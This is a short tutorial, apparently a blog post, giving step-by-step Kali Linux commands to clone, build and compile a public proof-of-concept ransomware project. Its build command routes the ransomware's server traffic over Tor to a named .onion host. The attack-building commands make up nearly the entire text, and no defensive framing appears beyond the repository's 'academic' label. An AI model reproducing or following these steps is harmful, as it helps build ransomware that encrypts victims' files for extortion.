16/01/2022
Creating a ransomeware in Kali
Download and Install the Binaries
The first step is to fire up your Kali and make certain that golang is installed. If not, download it from the Kali repositories by entering;
kali > sudo apt install golang
Next, you will need to login to the root user.
kali > sudo su -

Now create a directory for the binaries. In this case, I named it simply "git".
kali >mkdir git
Next, change directory (cd) to this directory.
kali > cd git
Next, download the binaries from github.com.
kali > git clone https://github.com/mauri870/ransomware

Step #2: Export GO Environment variables
Next, we need to set some environment variables to direct the binaries and GO to the appropriate directories.

Step #3: Make the source code dependencies
Now, with the variables set and exported, we need to make the dependencies. Navigate to the new directory, ransomware, and enter make deps.
kali > cd ransomware
kali > make deps

Step #4: Make the Source Code with options
Now that we have completed the deps make, we can begin to make the source code. In our case, we will use a few options.
First, we want to use ToR to encrypt our communications over the ToR network.
USE_TOR=true
Second, we want to use our dark web server at hackersarisegtdj.onion (you can use any domain or localhost).
SERVER_HOST=hackersarisegtdj.onion
Third, we want to use port 80 (you can use any port).
SERVER_PORT=80
Finally, we want to set the operating system to compile the source code for our operating system, in this case, Linux.
GOOS=linux

Our command should look something like this;
kali > make -e USE_TOR=true SERVER_HOST=hackersarisegtdj.onion SERVER_PORT=80 GOOS=linux
Now hit ENTER and watch your ransomware compile.
Step #5: Check the Directory for ransomware.exe
Once the source code has been generated, do a long listing on the ransomware directory.
kali > ls -l
Now, navigate to the bin directory.
kali > cd bin
Here, you will see the ransomware.exe
A POC Windows crypto-ransomware (Academic). Now Ransom:Win32/MauriCrypt.MK!MTB - GitHub - mauri870/ransomware: A POC Windows crypto-ransomware (Academic). Now Ransom:Win32/MauriCrypt.MK!MTB